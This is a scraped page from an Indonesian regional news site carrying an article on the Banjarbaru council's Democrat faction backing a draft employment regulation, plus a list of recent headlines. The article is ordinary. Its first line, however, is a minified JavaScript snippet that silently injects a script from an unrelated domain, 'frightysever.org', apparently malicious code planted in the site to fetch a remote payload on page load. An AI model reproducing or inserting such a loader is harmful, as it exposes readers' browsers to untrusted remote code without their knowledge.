(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Fraksi Demokrat DPRD Banjarbaru Apresiasi Raperda Ketenagakerjaan


KANALKALIMANTAN.COM, BANJARBARU – Fraksi Partai Demokrat DPRD Kota Banjarbaru mengapresiasi Rancangan Peraturan Daerah (Raperda) tentang ketenagakerjaan yang diusulkan pemerintah kota.

Juru bicara Fraksi Partai Demokrat Banjarbaru Rizal Siregar mengatakan, Raperda Ketenagakerjaan tepat di tengah dinamika ekonomi lokal dan keterbatasan lapangan kerja, termasuk untuk regulasi di Kota Idaman.

“Perubahan pola ekonomi yang cepat, terutama di sektor perdagangan, jasa kecil, dan konstruksi ringan, menjadi alasan penting perlunya regulasi baru yang lebih adaptif, terutama bagi tenaga kerja di Banjarbaru,” ujarnya.

Menurut Rizal, Fraksi Demokrat menilai tekanan ekonomi makro membuat sektor formal lesu dan mendorong banyak tenaga kerja beralih ke sektor informal agar tetap memperoleh penghasilan.

Baca juga: Beras Lokal di Pasar Bauntung Naik, Stok Aman

Rizal menekankan, penting bagi pemerintah kota untuk berinisiatif membentuk regulasi ketenagakerjaan yang relevan dengan kondisi saat ini untuk memberikan perlindungan dan membuka peluang pencari kerja.

“Raperda Ketenagakerjaan fokus pada empat hal utama, mulai dari menjamin hak-hak tenaga kerja, mendorong iklim usaha yang kondusif, menyediakan pelatihan serta penempatan kerja berbasis kompetensi,” sebutnya.

Dikatakan, fokus keempat adalah melindungi setiap pekerja dari praktik diskriminasi maupun eksploitasi agar mereka tenang menjalani pekerjaan dan terlindungi dari hal-hal yang tidak diinginkan dan merugikan mereka.

Raperda diperlukan untuk penyesuaian regulasi yakni Perda Nomor 10 Tahun 2014 tentang Pemberdayaan Tenaga Kerja Daerah, agar sesuai kebutuhan dan tantangan ketenagakerjaan di Banjarbaru.

Baca juga: 12 Meninggal Dunia dari 55 Laka Lantas Sepanjang 2025 di Banjarbaru

“Raperda ini diharapkan menjadi payung hukum tidak hanya melindungi tenaga kerja, tetapi juga mendorong pertumbuhan ekonomi daerah melalui peningkatan kompetensi dan kesejahteraan masyarakat,” katanya.

Rizal Siregar menegaskan, pandangan umum fraksinya sudah disampaikan melalui rapat paripurna dan sepakat Raperda dibahas lebih lanjut melalui panitia khusus yang dibentuk DPRD bersama pemerintah kota. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

Buka Rapat Kerja, Ini Harapan Bunda PAUD Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More

2 jam ago

Saat Sasirangan dan Soto Banjar jadi Perbincangan Pelajar di Taiwan

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More

2 jam ago

Pemkab Kapuas Bahas PPKH Permukiman Transmigrasi Lokal Ngaju Bersinar

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More

2 jam ago

Pelatihan AI Ready ASEAN: AI Itu Alat Pendukung, Bukan Pengganti Manusia

KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More

3 jam ago

Uang Bonus Atlet Kontingen Banjarmasin Dipangkas, Ini Penyebabnya

KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More

3 jam ago

2 Jenis Lead Generation untuk Menarik Prospek Berkualitas

KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More

4 jam ago

This website uses cookies.